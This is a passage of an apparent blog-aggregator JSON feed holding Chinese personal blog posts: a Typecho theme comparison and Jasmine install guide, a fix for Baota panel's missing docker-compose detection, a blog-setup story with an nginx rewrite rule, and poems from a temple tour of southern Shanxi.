target=\"_blank\"\u003eDayDream\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/Skywt2003/Daydream\" target=\"_blank\"\u003eSkywt2003/Daydream\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYing\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1581.html\" target=\"_blank\"\u003eYing\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/Siuyo/Ying\" target=\"_blank\"\u003eSiuyo/Ying\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKeeping\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1327.html\" target=\"_blank\"\u003eKeeping\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/adm2369710264/Keeping\" target=\"_blank\"\u003eadm2369710264/Keeping\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd rowspan=\"5\" colspan=\"1\"\u003e双栏\u003c/td\u003e\n\u003ctd\u003eAnatole\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/anatole.html\" target=\"_blank\"\u003eAnatole\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e似乎没有\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eMatcha\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1577.html\" target=\"_blank\"\u003eMatcha\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/BigCoke233/matcha\" target=\"_blank\"\u003eBigCoke233/matcha\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eInitial\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1247.html\" target=\"_blank\"\u003eInitial\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/jielive/initial\" target=\"_blank\"\u003ejielive/initial\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWIKI\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/793.html\" target=\"_blank\"\u003eWIKI\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e似乎没有\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eEston\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/eston.html\" target=\"_blank\"\u003eEston\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e似乎没有\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd rowspan=\"3\" colspan=\"1\"\u003e三栏\u003c/td\u003e\n\u003ctd\u003eMoz\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/moz.html\" target=\"_blank\"\u003eMoz\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/17px/typecho-theme-Moz\" target=\"_blank\"\u003e17px/typecho-theme-Moz\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJasmine\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1566.html\" target=\"_blank\"\u003eJasmine\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/liaocp666/Jasmine\" target=\"_blank\"\u003eliaocp666/Jasmine\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cul\u003e\n\u003cli\u003e经过漫长的比较,我决定在 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/BigCoke233/matcha\" title=\"Matcha\"\u003eMatcha\u003c/a\u003e 和 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine\" title=\"Jasmine\"\u003eJasmine\u003c/a\u003e 中选一个。\u003c/li\u003e\n\u003cli\u003e犹豫再三之后,我最后选择了 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine\" title=\"Jasmine\"\u003eJasmine\u003c/a\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-主题安装\" href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E5%AE%89%E8%A3%85\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e主题安装\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e官方文档 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/wiki/%E4%B8%BB%E9%A2%98%E5%AE%89%E8%A3%85\" title=\"GitHub\"\u003eGitHub\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e\u003ca id=\"content-环境\" href=\"https://blog.lsy223622.com/archives/14/#content-%E7%8E%AF%E5%A2%83\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e环境\u003c/h2\u003e\n\u003cp\u003e需要以下环境运行\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTypecho 1.2+\u003c/li\u003e\n\u003cli\u003ePHP 7.2+\u003c/li\u003e\n\u003cli\u003eMySQL 5.7+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-安装\" href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AE%89%E8%A3%85\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e下载主题压缩包 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/releases/latest/download/jasmine.zip\" title=\"jasmine.zip\"\u003ejasmine.zip\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e解压下载文件,并上传至 \u003ccode\u003eusr/themes/\u003c/code\u003e 目录下\u003c/li\u003e\n\u003cli\u003e启用此主题\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-更新\" href=\"https://blog.lsy223622.com/archives/14/#content-%E6%9B%B4%E6%96%B0\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e更新\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e在主题选项中,点击创建备份,可备份现有主题选项**(可选)**\u003c/li\u003e\n\u003cli\u003e参考安装\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-主题设置\" href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E8%AE%BE%E7%BD%AE\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e主题设置\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e官方文档 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/wiki/%E8%AE%BE%E7%BD%AE%E6%96%87%E6%A1%A3\" title=\"GitHub\"\u003eGitHub\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ccode\u003e控制台\u003c/code\u003e/\u003ccode\u003e外观\u003c/code\u003e/\u003ccode\u003e设置外观\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e没啥特别的,照文档做就行\u003c/li\u003e\n\u003cli\u003e关于站长部分的 \u003ccode\u003eGitHub\u003c/code\u003e 等信息添加超链接可以使用以下 \u003ccode\u003eHTML\u003c/code\u003e 代码\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-html\"\u003e\u0026lt;a href=\u0026#34;https://github.com/lsy223622\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;lsy223622\u0026lt;/a\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003e\u003ca id=\"content-截图\" href=\"https://blog.lsy223622.com/archives/14/#content-%E6%88%AA%E5%9B%BE\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e截图\u003c/h1\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/04/623228307.png\" alt=\"浅色模式\" loading=\"lazy\"/\u003e\n\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/04/595186996.png\" alt=\"深色模式\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\n","url":"https://blog.lsy223622.com/archives/14/"},{"title":"宝塔面板提示当前未安装 docker 或 docker-compose 未安装的解决方式","time":"2024-04-19T09:57:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E7%8E%B0%E8%B1%A1\"\u003e现象\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\"\u003e解决方法\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5\"\u003e相关链接\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-现象\" href=\"https://blog.lsy223622.com/archives/4/#content-%E7%8E%B0%E8%B1%A1\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e现象\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e宝塔面板点击 \u003ccode\u003eDocker\u003c/code\u003e 菜单,提示 \u003ccode\u003e当前未安装 docker 或 docker-compose 未安装\u003c/code\u003e 。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e终端输入 \u003ccode\u003edocker -v\u003c/code\u003e 能正常看到 Docker 版本信息。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启或重装 Docker 也没有变化。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-解决方法\" href=\"https://blog.lsy223622.com/archives/4/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e解决方法\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e终端输入以下命令:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003eCompose_Download_Url=\u0026#34;http://download.bt.cn/install/src/docker-compose-$(uname -s)-$(uname -m)\u0026#34;\nCompose_Path=\u0026#34;/usr/local/bin/docker-compose\u0026#34;\nCompose_lin=\u0026#34;/usr/bin/docker-compose\u0026#34;\ncurl -sSL $Compose_Download_Url -o $Compose_Path\nln -sf $Compose_Path $Compose_lin\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e刷新宝塔面板网页。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e此时应该已经可以正常使用宝塔面板的 Docker 管理页面。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-相关链接\" href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e相关链接\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://www.nzw6.com/6312.html\"\u003e参考文章\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n","url":"https://blog.lsy223622.com/archives/4/"},{"title":"终于想起来搭博客了","time":"2024-04-07T12:10:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/3/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\"\u003e写在前面\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%90%AD%E5%8D%9A%E5%AE%A2%E8%AE%B2%E6%95%85%E4%BA%8B%E7%8E%AF%E8%8A%82\"\u003e为什么要搭博客(讲故事环节)\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E8%AE%B0%E5%BD%95\"\u003e博客搭建记录\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B\"\u003e安装过程\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E6%9F%A5%E9%94%99%E8%AE%B0%E5%BD%95\"\u003e查错记录\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\"\u003e写在后面\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-写在前面\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在前面\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e博客刚搭好,先 bb 一篇文章出来,顺便作为测试了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1\u003e\u003ca id=\"content-为什么要搭博客讲故事环节\" href=\"https://blog.lsy223622.com/archives/3/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%90%AD%E5%8D%9A%E5%AE%A2%E8%AE%B2%E6%95%85%E4%BA%8B%E7%8E%AF%E8%8A%82\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e为什么要搭博客(讲故事环节)\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e从高中时候开始玩服务器,那时候还是用的 \u003cstrong\u003e阿里云学生机\u003c/strong\u003e 。高考结束时候正好学生机到期,但那几天还在忙各种自主招生的事情,等有空搞服务器的时候才发现学生机已经到期,而且阿里云的 \u003cstrong\u003e学生机计划没了\u003c/strong\u003e ,当前的这个机子续费要 \u003cstrong\u003e一百多一个月\u003c/strong\u003e ,于是放弃。当时甚至没有机会下载服务器上的数据。算了,有意义的数据也没多少,丢了就丢了吧。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e上大学时候发现腾讯云有 \u003cstrong\u003e178 三年\u003c/strong\u003e 的优惠服务器, \u003cstrong\u003e2c4g8m80g\u003c/strong\u003e ,算下来性价比比学生机还要高,于是购买。没过多久竟然还推出了这款服务器 \u003cstrong\u003e免费升级 4c\u003c/strong\u003e 的活动,性价比再升一级。又过几个月又发现了 \u003cstrong\u003e1000g 云硬盘三年只要不到 30 块\u003c/strong\u003e ,四舍五入几乎等于不要钱,下单挂载。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e现在这个服务器这两年来一直在增加不少的网站应用,也有些别的非网站应用。这样的配置在普通玩家的境内云服务器里面已经算挺不错的了,无论是性能、带宽还是硬盘容量都是非常的宽裕。不过之前在这个服务器上放的基本上都是给自己用的服务,像是 \u003ccode\u003eNextCloud``Tailscale\u003c/code\u003e 之类的,别人虽然看得见,但也不能在这里得到什么信息。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e之前用阿里云学生机的时候也试过几个博客应用,但应该也没写什么东西。一方面是觉得 \u003cstrong\u003e写了也没什么人看\u003c/strong\u003e ,另一方面是觉得 \u003cstrong\u003e我表达能力也不怎么样\u003c/strong\u003e ,写出来不好看,于是后来到腾讯云也没再放博客了。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e之所以现在又开始打算写博客了,也是有几点原因。一是感觉这几年真的在很多领域的 \u003cstrong\u003e技术\u003c/strong\u003e 方面有不少研究,记录下来 \u003cstrong\u003e方便自己也方便他人\u003c/strong\u003e ,不然慢慢忘了就真可惜了;二是我现在还是大学生,能有个博客体现我的 \u003cstrong\u003e实践经验和能力\u003c/strong\u003e ,在之后的 \u003cstrong\u003e升学或者求职\u003c/strong\u003e 应该也是有一定用处的,毕竟到那时候光靠自己回忆也不一定能想到多少东西,表达也不直观;三是感觉朋友们有博客的人还是挺多的, \u003cstrong\u003e互相交流或者交换友链\u003c/strong\u003e 的时候能有个博客链接也有点面子;四是发现真得多给自己找点事情做, \u003cstrong\u003e没事干就会 emo\u003c/strong\u003e 。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-博客搭建记录\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e博客搭建记录\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e 其实这段是不是可以作为一篇新的文章?但毕竟这么搭一下确实挺简单的,就写在这里吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e我这次选择的博客程序是 \u003ccode\u003eTypecho\u003c/code\u003e ,虽然是几年不更新的老东西了,但感觉简洁够用,用的人也不少,也不算停更,于是就这样了。其实我的要求也就是用 \u003ccode\u003ePHP\u003c/code\u003e 写的和支持 \u003ccode\u003eMarkdown\u003c/code\u003e ,基本上大家都满足的啦。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-安装过程\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装过程\u003c/h2\u003e\n\u003cp\u003e\u003cdel\u003e下载 Typecho 压缩包,上传服务器解压,这真太简单了没啥好写的吧。\u003c/del\u003e\u003c/p\u003e\n\u003ch3\u003e\u003ca id=\"content-查错记录\" href=\"https://blog.lsy223622.com/archives/3/#content-%E6%9F%A5%E9%94%99%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e查错记录\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e其实写这篇文章的时候已经基本上忘了当时遇到哪些问题了,就凭印象写几点吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e用的 \u003ccode\u003eJoe\u003c/code\u003e 主题似乎对 \u003ccode\u003ePHP8\u003c/code\u003e 支持不大好,于是切换到 \u003ccode\u003ePHP7.4\u003c/code\u003e 。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为了让链接好看要配置伪静态:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-nginx\"\u003e if (!-e $request_filename) {\n rewrite ^(.*)$ /index.php$1 last;\n }\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e就想到这些了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-写在后面\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在后面\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e话说这服务器买了三年,21 年买的,也就是说今年就要到期了,那之后该怎么办呢~\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/3/"}]},{"name":"孤筝の温暖小家","email":"Unknown","uri":"https://guzhengsvt.top/","description":"孤筝的互联网自留地。","article":[{"title":"晋南行五首","time":"2024-10-08T07:47:00Z","content":"序  国庆随《黑神话·悟空》游山西,历晋南晋城、临汾、运城三市,作诗词五首,简记之。晋南行·其一门掩残塑去,檐出金铎来。点染翠林乱,泼墨碧裙开。新枝攀朽木,老壮携幼孩。徽因应有泪,千年可留白?孤...\u003chr /\u003e\u003ch2\u003e序\u003c/h2\u003e\n\u003cp\u003e  国庆随《黑神话·悟空》游山西,历晋南晋城、临汾、运城三市,作诗词五首,简记之。\u003c/p\u003e\n\u003ch2\u003e晋南行·其一\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e门掩残塑去,檐出金铎来。\u003cbr/\u003e\n点染翠林乱,泼墨碧裙开。\u003cbr/\u003e\n新枝攀朽木,老壮携幼孩。\u003cbr/\u003e\n徽因应有泪,千年可留白?\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.2\u003cbr/\u003e\n晋城玉皇庙、府城关帝庙、青莲寺\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  玉皇庙二十八星宿等殿均禁闪光灯,佛像隐于铁栅栏后,许些漆迹剥落,乃至缺首断足。令人遗憾。\u003cbr/\u003e\n  府城关帝庙中塑像几乎都是现代新作,手艺拙劣叫人倒胃口。倒是建筑值得一看。\u003cbr/\u003e\n  青莲寺山高路远,沿途风景极好,秋日山青水碧,少许红黄阔叶点缀其间,万里无云,是锦绣福地。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/4175125506.jpg\" alt=\"IMG_0808 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/2744194162.jpg\" alt=\"IMG_0836 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/4200527731.jpg\" alt=\"IMG_1026 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/126764360.jpg\" alt=\"IMG_0915 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其二\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e倦起青帝未点班,急腾晨雾破晓寒。\u003cbr/\u003e\n才渡人海窥佛面,又登林云访伽蓝。\u003cbr/\u003e\n九尊金身九菡萏,三进相门三净坛。\u003cbr/\u003e\n未及鳞霞收暮色,已是轻骑跃重山。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.3\u003cbr/\u003e\n晋城开化寺、铁佛寺、定林寺\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  大早上赶公交到高平,先逛开化寺,再回铁佛寺。铁佛寺新开放不久,人满为患,又深居小村小院。排队一小时余,得窥佛面两分钟。幸而排队遇一家三口,父母开明,不拒二次元和游戏。唉,神仙父母无处寻也。(女儿双马尾好可爱wwww)\u003cbr/\u003e\n  定林寺莲花藻井亦是近期才重新开放,有幸遇上,确实好看。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/438599092.jpg\" alt=\"IMG_0998 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/1955933777.jpg\" alt=\"IMG_1044 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其三\u003c/h2\u003e\n\u003ch3\u003e水调歌头\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e  宝相食香禄,石碑浸风尘。敢问座下丘列,诵经可达神?已削青丝断欲,又弃酒肉濯宇,笑面谨藏嗔。空识五蕴律,不解无明身。\u003cbr/\u003e\n  假金铙,修禅庙,弄愚生。诳语功德,却效如来释大乘。许利好收虔众,劝善难得信笃,八戒误沙门。司磬称富贵,伪佛度俗僧。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.4\u003cbr/\u003e\n临汾小西天\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e八戒:一戒杀生,二戒偷盗,三戒淫,四戒妄语,五戒饮酒,六戒着香华,七戒坐卧高广大床,八戒非时食。\u003cbr/\u003e\n黄眉:不杀生,仇恨永无止息;不偷盗,强弱如我何异;不邪淫,一切有情皆孽;不妄语,梦幻泡影空虚;不馋酒,忧怖涨落无常;不耽乐,芳华刹那而已;不贪眠,苦苦不得解脱;不纵欲,诸行了无生趣。\u003c/p\u003e\n\u003cp\u003e  小西天下寺没啥看头,都是些求财求子的善男信女烧香拜佛。那尼姑(?存疑)坐一旁敲磬看跪拜,口中不停说包佑日入一个亿一千万什么的,讽刺至极。\u003cbr/\u003e\n  上寺大雄宝殿内悬塑,规格规模具是惊人。可惜人太多了没多少时间细看。我去晚了没拿到山西官方通关信物明信片,略有遗憾。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/837638753.jpg\" alt=\"IMG_1144 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/377169443.jpg\" alt=\"IMG_1929 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其四\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e古刹踞平阳,三震隐佛光。\u003cbr/\u003e\n巍巍琉璃塔,缈缈罗汉堂。\u003cbr/\u003e\n求经凭功禄,祈雨赖人王。\u003cbr/\u003e\n一藏传东土,贞观起盛唐。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.6\u003cbr/\u003e\n临汾广胜寺\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  洪洞县广胜寺,下寺有雨神庙,左右满壁画,保存不甚完好。殿内光线阴暗,看不真切。左右偏房有官方扫描件,色彩鲜明,神采俱备,可称佳品。\u003cbr/\u003e\n  上寺重看飞虹塔,宝塔遍身琉璃。仅开放一层,内里无甚可观之处。\u003cbr/\u003e\n  后院天中天殿有三尊大佛,高十余尺,身形秀丽,是为一绝。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/2152415040.jpg\" alt=\"IMG_1956 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/270551755.jpg\" alt=\"IMG_1985 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/4038570737.jpg\" alt=\"IMG_2006 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/193997803.jpg\" alt=\"IMG_2037 (2).JPG\" 